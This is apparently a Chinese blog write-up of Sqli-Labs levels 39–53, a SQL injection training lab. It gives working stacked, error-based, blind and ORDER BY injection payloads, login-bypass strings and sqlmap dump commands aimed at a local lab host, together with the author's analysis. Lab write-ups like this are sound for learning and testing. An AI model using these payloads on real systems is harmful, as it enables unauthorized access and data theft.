[Sqli-Labs-Master] - Page_3

发布时间 2023-11-01 01:14:36作者: Festu

Sqli-Labs-Page_3

Less-39

无引号包裹的堆叠注入,需要已知当前表、与部分字段的名称信息,本关有报错回显,可以直接报错注入出部分信息再堆叠注入(其实也可以直接报错注入就出了 = =),payload:

1; replace into users (id,username,password) values (56,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8), (select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

直接查询 id 为 56 的记录即可获得完整 secret。

Less-40

单引号与一层括号包裹的无错误回显的堆叠注入。满足盲注条件 ,可以先用盲注获取部分信息再堆叠注入快速获取其他信息。

起初没想到有一层括号,输入 payload 时没有任何查询结果,说明第一个语句就执行失败了:1'; 部分是不对的,外应该有一层括号。 payload:

1'); replace into security.users (id,username,password) values (127,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8), (select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

结果在 id=127 处。


本关源文件中提供有登陆的接口,登陆成功后提供了密码修改功能,甚至提供了一个注册用户的接口。实际上的注入点还是之前二次注入的注入点。(Less-24 的源码文件)

Less-41

无引号包裹无报错回显的堆叠注入,可以结合布尔盲注进行,payload:

1;replace into security.users (id,username,password) values (58,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8), (select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

Less-42

用户名经测试无注入漏洞。看源码后发现输入内容被转义了。尝试宽字节注入发现编码非宽字节编码,失败。


密码存在注入点,可以利用时间盲注,PoC:

login_password=0' or sleep(1) or '0&login_user=123&mysubmit=Login

PoC-Plus:

login_password=0' or if(mid((select database()),1,1)='s',sleep(0.1),0) or '0&login_user=123&mysubmit=Login

或者布尔盲注,PoC:

login_password=0' or if(mid((select database()),1,1)='s',1,0);&login_user=aaa&mysubmit=Login

盲注正确时返回登陆成功页面,失败时返回登录失败页面。


利用该注入点可以直接登录指定账号,如"admin":

login_password=1' or '1' and username='admin';&login_user=aaa&mysubmit=Login

真正控制登录用户名的是 username 。因为 password 在逻辑表达式中的位置在 username 后面,由于 and 与 or 的运算特性,需要在后面再次指定 username 并以此为准。

该 payload 同样证明此处有堆叠注入漏洞,; 会分割语句并使后方的语法错误不影响第一句查询语句正确执行,效果同注释符。此处体现出该效果说明支持多语句查询,存在堆叠注入。

测试发现后端依然不读取后续语句的结果,时间盲注在后续语句中无效(语句本体倒是有效)。由于登陆后能看到明文的用户名,考虑将想查看的内容写入到用户名中,然后利用特殊的语句登录到用户名为指定内容的账户,查看其内容。

借助前面几关写入的新用户,假设我们已经插入了一个用户名为 secret 前 12 个字符的用户,登录到用户名为 secret 的前 12 个字符内容的 payload:

login_password=1' or '1' and username=mid((select secret_FPMB from challenges.5idc4x45h8),1,12);&login_user=dumb&mysubmit=Login

以此类推即可获取到完整的 secret 内容。


修改密码处无注入点。


查看源码发现,修改密码时的用户名未经过转义处理,理论上有一个特殊的用户名可以实现二次注入。本关原本未开放注册接口,但由于登录处的密码存在堆叠注入,可以手动插入一个带特殊用户名的用户,因此依然可以实现二次注入。但这没什么意义,堆叠注入能做的比二次注入更多。

Less-43

登录错误有报错回显,单引号与一层括号包裹。用户名处应该是被转义处理了,密码处存在单引号,有注入漏洞。由于有报错回显,可以考虑直接报错注入:

login_password=0' or extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e)) or '0&login_user=dumb&mysubmit=Login

堆叠注入思路也大体类似于 Less-42,可以直接尝试登录带敏感信息的账户:

login_password=1') or '1' and username=mid((select secret_FPMB from challenges.5idc4x45h8),1,12);&login_user=dumb&mysubmit=Login

修改密码处亦无注入点,其用户名同样存在二次注入点。

Less-44

登录密码处存在注入点,单引号包裹,延时注入 PoC:

login_password=dumb%27or sleep(1);&login_user=dumb%27&mysubmit=Login

直接尝试登录敏感账户:

login_password=1' or '1' and username=mid((select secret_FPMB from challenges.5idc4x45h8),1,12);&login_user=dumb&mysubmit=Login

成功。


看了一眼源码,没什么特殊的测试点,和前面几关基本一致。

Less-45

登录接口用户名无注入点,密码存在注入漏洞,单引号与一层括号包裹。堆叠注入与时间盲注 PoC:

login_password=0') or sleep(5);&login_user=dumb&mysubmit=Login

测试本关 PoC 时,发现两类不同的 payload,一种可以直接登录,而另一种不行。

  1. 可以直接登录任何账户(用户名合法)的 payload:

    login_password=0' or sleep(1) or '0&login_user=admin&mysubmit=Login
    

    拼接到查询语句中后为:

    SELECT * FROM users WHERE username=('admin') and password=('0' or sleep(1) or '0')
    

    由于 password='admin'('0' or sleep(1) or '0')=0'admin'=0 恒成立,因此可以查询成功。

    此时该 payload 要想起作用必须要求 login_user 即 username 为合法值。


    该 payload 的另一大特点是,它不需要知道可控参数周围有无括号。

  2. 无法直接登录的 payload:

    login_password=0') or sleep(1);&login_user=admin&mysubmit=Login
    

    拼接后:

    SELECT * FROM users WHERE username=('admin') and password=('0') or sleep(1);
    

    该 payload 优点在于可以利用到堆叠注入,证明分号的可用性,同时完成延时,证明两类注入的可行性,但对于登录没有帮助。且他不需要用户名处返回 true 也能保证后续的延时执行。不如说由于 or 的短路性质,其前面的语句 username='' and password=('') 必须为 false,该延时函数才会执行。

    经测试以上结论是正确的,PoC:

    login_password=0') or sleep(1);&login_user=admin123&mysubmit=Login
    

    缺点自然是需要探测括号的包裹情况。

直接登录敏感账户即可:

login_password=1') or '1' and username=mid((select secret_FPMB from challenges.5idc4x45h8),1,12);&login_user=dumb&mysubmit=Login

Less-46

无引号与括号包裹,注入点在 order by 后面指定排序参考字段。由于 union 需要放在 order by 前面使用,因此此处无联合注入。


本题的注入思路非常有趣。让我学到了很多很多东西。

由于查询结果有 3 列,起初想用 order by 4-if(1=1,0,1) 实现布尔盲注,可是后来发现 order by 后跟表达式与我想象中的效果并不一样。

order by 后一般可以跟"数字"、"字段名"与其他表达式。

当直接传入一个数字时,如 order by 2 ,其效果是选取搜索结果中位居第二列的字段内容作为排序依据。当传入字段名时,效果类似,根据传入的字段内容作为排序依据。
注意传入数值时不接受字符串;传入字段内容时也不接受字符串,只接受字面量(裸字符串)。

但如果传入的是表达式,即使其结果是数值,order by 会用与直接传入的数值不同的解析方式解析表达式的结果。例如传入 order by 4-1order by 检索查询结果的每一行时都会计算该表达式的值为 3,并为该行标记一个排序属性为 3。当计算完毕所有行的该属性,order by 会根据该排序属性从小到大排序各行结果。由于大家都是 3,因此该案例所有结果按原序排列(原序即数据的插入顺序)。
不过有一种特殊情况,如果表达式返回的结果是合法字段名的裸字符串(即不是引号包裹的字符串),那么 order by 依然会正确根据字段进行排序。

实际上 order by 处理排序时就是为每行数据添加数个用于排序的属性值,并根据该属性值从小到大(ASC)或从大到小(DESC)排序。当传入的是直接的数值或字段名时,order by 会做特殊处理,将其对应到查询结果中每一列的数据,以该数据为该行的排序依据元素,最后根据排序元素以某种顺序排序各行结果。

mysql 中的 rand() 函数每次调用都会随机返回 [0,1) 之间的某个小数,因此 order by rand() 可以让结果乱序。当检索某行结果时 rand() 返回的值较大,该行结果(如果排序是 ASC)将会排在靠后的位置。

order by 4-if(1=1,0,1) 并不能实现想象中的『报错或有结果』的二元布尔盲注的效果。

但我们依然可以用 if(1=1,id,username) 实现布尔盲注,根据排序依据的列不同,返回的结果顺序有所不同,据此也能实现布尔盲注,但只能在无引号包裹的注入点使用。在 SQL 中逻辑表达式只会返回逻辑类型的结果,而非表达式中某个子元素的结果。因此当周围有引号时就无法返回裸字符串形式的合法字段名。


但 sqlmap 提供了更好的 payload:

?sort=(SELECT (CASE WHEN (7747=7747) THEN 0x342d696628313d312c312c3029 ELSE (SELECT 5250 UNION SELECT 5258) END))
?sort=(SELECT (CASE WHEN (5180=5305) THEN 0x342d696628313d312c312c3029 ELSE (SELECT 5305 UNION SELECT 9926) END))

由于子查询语句仍然可用,写一个带 case when 条件的子查询语句,其后的逻辑表达式用于盲注,如果为真返回结果只有一行,若为假则执行一个联合查询语句,由于其返回结果多与一行,会触发 mysql 报错。如此一来完全脱离于注入点的上下文,也能凭空创造出一个『报错或有结果』的完美布尔盲注环境。

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-46/?sort=4-if(1=1,1,0) -p sort --technique B -b --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex

--hex 省略会导致内容恢复失败。


可以执行表达式,自然时间盲注也是可行的,PoC:

?sort=0 or if(1=1,sleep(1),1)

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-46/?sort=4-if(1=1,1,0) -p sort --technique T -b --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex

但由于 order by 会检索每行结果导致多次执行 sleep() ,其实际延时长度与查询结果的数量成正比,这可能会导致效率低下。当然,如果是自己写脚本,可以添加 timeout 参数来规避问题。


有报错回显,也可以报错注入:

?sort=extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e))

看了一眼后端源码,用的是 mysql_query() ,没有堆叠注入的问题。

Less-47

类似上一关,单引号包裹,注入点在 order by 后,布尔盲注 PoC:

?sort=0' or if(1=0,1,(select 123 union select 321)) or '0

本以为直接 sqlmap 跑就行,payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-47/?sort=1 -p sort --technique B -b --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex --batch

但这里 sqlmap 出了一点问题。他成功的恢复了后端 mysql 的版本为 5.7.26,却无法获取指定表中的数据数量:

[WARNING] unable to retrieve the number of column(s) 'secret_FPMB' entries for table '5idc4x45h8' in database 'challenges'

查看其 payload 后发现,它在本关检测出的注入类型如下:

MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

是一个 rlike 可利用的布尔盲注。该注入点的利用思路是 <string> rlike '(' 由于正则表达式的捕获分组括号对不完整会触发报错,例如:

mysql> select '1' rlike 0x28;
ERROR 1139 (42000): Got error 'parentheses not balanced' from regexp

利用该特点,rlike 可用于构造布尔盲注。

sqlmap 在还原数据库版本时用的 payload 形如:

1' RLIKE (SELECT (CASE WHEN (ORD(MID((HEX(IFNULL(CAST(VERSION() AS NCHAR),0x20))),13,1))>1) THEN 1 ELSE 0x28 END))-- gKZx

这时 rlike 正常工作。而还原数据表记录数量时用的 payload 形如:

1' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT HEX(IFNULL(CAST(COUNT(*) AS NCHAR),0x20)) FROM challenges.`5idc4x45h8`),1,1))>66) THEN 1 ELSE 0x28 END))-- tYNF

在本地测试这个 payload 对应的查询语句,发现 rlike 并没有发挥出应有的作用,测试以下语句:

# 查看目标值
mysql> select ORD(MID((SELECT HEX(IFNULL(CAST(COUNT(*) AS NCHAR),0x20)) FROM challenges.`5idc4x45h8`),1,1));
=> 51
# 直接检查 rlike 运算后的结果
mysql> select '1' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT HEX(IFNULL(CAST(COUNT(*) AS NCHAR),0x20)) FROM challenges.`5idc4x45h8`),1,1))>66) THEN 1 ELSE 0x28 END));
=> NULL

已知 51<66 ,因此返回的值应该是 ELSE 0x28"(" ,理论上应该触发报错,但实际上却返回了一个 NULL。将比较运算改为 <66

mysql> select '1' RLIKE (SELECT (CASE WHEN (ORD(MID((SELECT HEX(IFNULL(CAST(COUNT(*) AS NCHAR),0x20)) FROM challenges.`5idc4x45h8`),1,1))<66) THEN 1 ELSE 0x28 END));
=> 1

会发现返回了一个 1,即 True,说明 Then 1 的内容它正常返回了,只是在返回 ELSE 0x28 时出问题了。经过测试,将 0x28 改为字符串,或者套上 select 都不行。结合前面能够恢复版本信息,猜测是从具体表中进行子查询会让 rlike 解析出现问题,导致返回 NULL。

对于以上问题,我在 msyql 5.7.26 测试存在,在 8.0.28 测试出来不存在。

解决方法:

虽然 rlike 不能用,但还有其他 payload 可用,跳过 rlike 相关的 payload 即可,sqlmap 提供了 --test-skip=rlike 参数可以跳过所有含有 rlike 关键词的 payload。因此最终 payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-47/?sort=1 -p sort --technique B -b --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex --test-skip "rlike" --batch

该 payload 下,sqlmap 将本关的注入点归纳为:

MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause

payload 形如:

1',(SELECT (CASE WHEN (ORD(MID((SELECT HEX(IFNULL(CAST(secret_FPMB AS NCHAR),0x20)) FROM challenges.`5idc4x45h8` ORDER BY secret_FPMB LIMIT 0,1),49,1))>1) THEN 1 ELSE 1919*(SELECT 1919 FROM INFORMATION_SCHEMA.PLUGINS) END))-- jvTZ

利用子查询 SELECT 1919 FROM INFORMATION_SCHEMA.PLUGINS 返回多行触发报错的特性构造布尔盲注。


时间盲注自然也是可以的,但效率太低,不推荐。

由于有报错回显,可以直接报错注入:

?sort=0' or extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e)) or '0

Less-48

无报错回显的数字型注入,注入点在 order by 后。

布尔盲注 PoC:

?sort=0 or if(1=0,1,(select 123 union select 321))

sqlmap 一把梭了:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-48/?sort=1 -p sort --technique B -b --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex --test-skip "rlike" --batch

Less-49

无报错回显的字符型注入,单引号包裹,注入点在 order by 后。

布尔盲注 PoC:

?sort=0' or if(1=0,1,(select 123 union select 321)) or '0

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-49/?sort=1 -p sort --technique B -b --flush-session -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex --string "Dumb" --level 2

非常的奇妙,本关检测出的 payload 类别是:

AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

该 payload 出现在 level=2 。同样是带单引号的布尔盲注,Less-47 在没有给出 level 参数的情况下,自动执行了许多高等级高风险的 payload 测试,猜测与其返回了报错信息有关。sqlmap 检测到这些报错信息自动进行了调整,允许部分更高级别的 payload 测试。

虽然是这么推测,但我重新查看 Less-47 的 paylaod 测试时发现:

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[01:33:12] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:33:13] [WARNING] reflective value(s) found and filtering out
[01:33:13] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:33:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[01:33:15] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[01:33:17] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[01:33:19] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'

上面问你是否测试 level-1 risk-1 的 payload,下面冒出来一大堆不符合该条件的 payload 类别。不是很懂。

Less-50

rand() 测试一下,无引号包裹,"Blind based"却有报错回显,注入点在 order by 后。

报错注入 payload:

?sort=0 or extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e))

布尔盲注 PoC:

?sort=0 or if(1=0,1,(select 123 union select 321))

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-50/?sort=1 -p sort --technique B --flush-session --batch -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex

看了一眼源码,用了 mysqli_multi_query() ,存在堆叠注入的漏洞。

向当前表 id=59 处插入 secret:

?sort=1; replace into security.users(id,username,password) values(59,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8),(select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

直接查询就能看到。

Less-51

单引号包裹,注入点在 order by 后,有报错回显("Blind Based"?),不知道和 less-49 的区别是什么。

报错注入 payload:

?sort=0' or extractvalue(1,concat(0x7e,(select secret_FPMB from challenges.5idc4x45h8),0x7e)) or '0

布尔盲注 PoC:

?sort=0' or if(1=0,1,(select 123 union select 321)) or '0

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-51/?sort=1 -p sort --technique B --flush-session --batch -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex --test-skip rlike

堆叠注入,向当前表 id=60 处插入 secret:

?sort=1'; replace into security.users(id,username,password) values(60,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8),(select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

Less-52

注入点在 order by 后,rand() 测试出无引号包裹,无报错回显。

布尔盲注 PoC:

?sort=0 or if(1=0,1,(select 123 union select 321))

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-52/?sort=1 -p sort --technique B --flush-session --batch --level 2 -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex

堆叠注入 payload:

?sort=1; replace into security.users(id,username,password) values(61,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8),(select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

向当前表中 id=61 处插入 secret,直接查询就可见。

Less-53

注入点在 order by 后,rand() 测试出单引号包裹,无报错回显。

布尔盲注 PoC:

?sort=0' or if(1=0,1,(select 123 union select 321)) or '0

sqlmap-payload:

sqlmap -u http://172.21.240.1:83/sqli-labs/Less-53/?sort=1 -p sort --technique B --flush-session --batch --level 2 -D challenges -T 5idc4x45h8 -C secret_FPMB --dump --hex

堆叠注入 payload:

?sort=1'; replace into security.users(id,username,password) values(62,(select mid(secret_FPMB,1,12) from challenges.5idc4x45h8),(select mid(secret_FPMB,13,12) from challenges.5idc4x45h8));

向当前表中 id=62 处插入 secret,直接查询就可见。